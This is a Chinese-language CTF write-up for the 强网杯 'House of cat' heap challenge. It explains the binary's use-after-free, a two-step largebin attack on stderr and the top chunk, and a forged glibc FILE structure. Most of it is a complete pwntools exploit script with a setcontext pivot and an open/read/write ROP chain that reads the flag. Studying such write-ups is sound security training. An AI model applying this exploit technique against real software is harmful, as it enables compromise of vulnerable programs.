House of cat强网杯复现

最后一天的题,水水

逆向

格式检查

1
2
LOGIN | r00t QWBQWXFadmin
CAT | r00t QWBQWXF$\xff

功能分析

add

index在0到15间

0x418<= size <=0x46f

使用calloc

delet

UAF

show

write 0x30

edit

限制2次

每次只能修改0x30

攻击流程分析

由于不存在对exit的调用,且在main函数中无限循环,故无法进行FSOP

可以采用house of kiwi的触发IO思路,利用__malloc_assert调用fflush(stderr)或者__fxprintf

所以需要攻击位于stderr上的指针,恰好本题该地址可写,这里使用一次largebin attack

另外,要触发__malloc_assert,需要修改topchunk的size

本题由于edit有长度限制,不方便使用之前构造堆重叠的方式,所以这里可以用第二次largebin attack攻击size

恰好共有两次edit机会,刚好用完e

另外,攻击top size时要注意,在将第二个chunk加入largebin时,不能改变top chunk的位置。也就是说,不能通过分配一个更大chunk的方式来得到第二个largechunk

这是因为对largebin进行unlink的操作在从topchunk分配chunk之前,此时修改过的size会被新的size覆盖掉。

所以这一步入largebin的操作,可以通过分配更小的chunk获得

image-20230726120735530

开了沙箱,禁用了execve,并检查read的fd是否为0

故只能打orw, 并且在open前需要先close(0)

堆风水

需要达到的效果是:两次largebin attack,分别使stderr指向可控内容的堆块、修改topchunk

看似比较简单,但需注意edit只能修改0x30,且只有两次机会

所以对伪造结构体内容的写入需要在add操作进行,入largebin之后对前6个地址会有覆盖,实测下来对IO利用没有影响

IO利用流程分析

_wide_data=fake_io_addr+0x30

1.将[rdi+0xa0]_wide_data处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1
2.将新赋值的[rax1+0x20]_IO_backup_base处的内容赋值给rdx。
3.将[rax1+0xe0]

处的内容赋值给rax,称之为rax2
4.call调用[rax2+0x18]处的内容。

1
2
3
4
_wide_data->_IO_read_ptr !=_wide_data->_IO_read_end
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_base
fp->_lock是一个可写地址(堆地址、libc中的可写地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import*

context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'new-window'])
def debug(cmd=''):
cmd += "b main\n"
gdb.attach(p, cmd)
pause()

host = ""
port = 0
p = process("./pwn")
#p = remote(host, port)
libc = ELF("./libc.so.6")

login = "LOGIN | r00t QWB QWXFadmin"
cat = "CAT | r00t QWB QWXF$\xff"

def add(index, size, content):
p.sendafter("mew~~~~~~\n", cat)
p.sendlineafter("cat\n", "1")
p.sendlineafter("idx:\n",str(index).encode())
p.sendlineafter("size:\n",str(size).encode())
p.sendafter("content:\n",content)
def delete(index):
p.sendafter("mew~~~~~~\n", cat)
p.sendlineafter("cat\n", "2")
p.sendlineafter("idx:\n",str(index).encode())
def show(index):
p.sendafter("mew~~~~~~\n", cat)
p.sendlineafter("cat\n", "3")
p.sendlineafter("idx:\n",str(index).encode())
def edit(index, content):
p.sendafter("mew~~~~~~\n", cat)
p.sendlineafter("cat\n", "4")
p.sendlineafter("idx:\n",str(index).encode())
p.sendafter("content:\n",content)

p.send(login)
add(0, 0x420, cyclic(0x420))#largechunk 0
add(1, 0x440, cyclic(0x440))
delete(0)
add(2, 0x450, cyclic(0x450))
show(0)#leak largechunk

libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x21a0d0
stderr_addr = libc_base + 0x21a860
setcontext61 = libc_base + 0x53a6d
p.recvuntil("\x7f\x00\x00")
heap_base = u64(p.recvn(6).ljust(8,b"\x00"))-0x290
log.success("libc_base = {}".format(hex(libc_base)))
log.success("heap0_base = {}".format(hex(heap_base)))
log.success("stderr_addr = {}".format(hex(stderr_addr)))

ret = 0x0000000000029cd6+libc_base
pop_rdi = 0x000000000002a3e5+libc_base
pop_rsi = 0x000000000002be51+libc_base
pop_rax = 0x0000000000045eb0 + libc_base
syscall = 0x0000000000091396 + libc_base

# debug()
#fake stderr----------------------------------------
fake_stderr = heap_base + 0xf70
fake_rdx = fake_stderr + 0x10 + 0x200
fake_stack = fake_stderr + 0x10 + 0x320
io = p64(0)*6
io += p64(1) + p64(2)#rcx!=0
io += p64(fake_rdx)#backup_base rdx
io += p64(setcontext61)
io = io.ljust(0x78, '\x00')
io += p64(libc_base+0x21ba60)#lock
io = io.ljust(0x90, '\x00')
io += p64(fake_stderr+0x30)#wide_data rax1
io = io.ljust(0xb0, '\x00')
io += p64(1)#mode
io = io.ljust(0xc8, '\x00')
io += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x10)
io += p64(0)*6
io += p64(fake_stderr+0x40)
io = io.ljust(0x200, '\x00')
#fake rdx:
payload = "./flag\x00\x00"
payload = payload.ljust(0x68,"\x00")
payload += p64(0)#rdi->0
payload += p64(0)#rsi->0
payload = payload.ljust(0x88,"\x00")
payload += p64(0x100)#rdx->0
payload = payload.ljust(0xa0)
payload += p64(fake_stack)#rsp->chunk 1
payload += p64(ret)#rcx->ret
io += payload
io = io.ljust(0x320,"\x00")
#fake_stack:
payload = p64(libc_base+libc.sym['close'])
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(fake_rdx)
payload += p64(pop_rax)
payload += p64(2)
payload += p64(syscall)#open
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x100)
payload += p64(syscall)#read
payload += p64(pop_rax)
payload += p64(1)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x100)
payload += p64(syscall)#write
io+=payload

io = io.ljust(0x430,'\x00')

#----------------------------------------------

add(4,0x440,io)# largebin 0
add(5,0x440,cyclic(0x440))
add(6,0x430,cyclic(0x430))#largebin 1
# add(7,0x440,cyclic(0x440))
# add(8,0x420,cyclic(0x420))
delete(4)
add(9,0x460,cyclic(0x440))
delete(6)
#largebin attack
payload = p64(libc_base+0x21a0e0)*2 + p64(heap_base+0xf90) + p64(stderr_addr-0x20) + p64(0)*2
edit(4, payload)
add(10,0x460,cyclic(0x460))

add(11, 0x430, cyclic(0x430))#calloc chunk6

#largebin attack 2

delete(11)#largebin 1 0x430
#delete(8)
payload = p64(libc_base+0x21a0e0)*2 + p64(heap_base+0xf90) + p64(heap_base+0x2538-5-0x20) + p64(0)*2
edit(4, payload)
add(15,0x41f,cyclic(0x41f))


# debug()
add(7, 0x460,cyclic(0x460))#trigger malloc assert

p.interactive()